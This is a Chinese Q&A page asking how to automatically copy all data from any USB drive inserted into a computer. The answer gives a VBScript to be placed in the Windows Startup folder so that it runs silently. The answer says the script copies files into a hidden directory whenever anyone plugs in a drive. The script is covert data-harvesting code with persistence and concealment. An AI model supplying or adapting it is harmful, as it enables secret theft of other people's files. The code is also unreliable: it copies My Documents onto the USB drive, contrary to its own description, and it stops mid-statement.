怎么样可以自动复制插入的u盘内所有信息?

来源:百度知道 编辑:UC知道 时间:2024/05/24 17:44:38

打开记事本,
'复制下面代码后保存为filename.vbs,然后把它拖进“开始”菜单中“启动”中,这样它就自动运行了,只有有人这台计算机上用U盘,我的文档的资料就会考到F盘的隐藏目录中。

Dim fso, ws, disks, disk, ID, Ready
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.shell")
Set disks = fso.Drives
Do While Ready = False
For Each disk In disks
Set ID = fso.GetDrive(fso.GetDriveName(disk))
If ID.drivetype = 1 Then 'U盘已找到
If disk.IsReady = True Then
Dim scr, dst,f
scr = ws.SpecialFolders("MyDocuments")
dst = ID.DriveLetter & ":\My Documents\"

if FSO.FolderExists(dst) = false then
fso.CreateFolder dst '创建目录
End If
fso.GetFolder(dst).Attributes=2 '设置目录为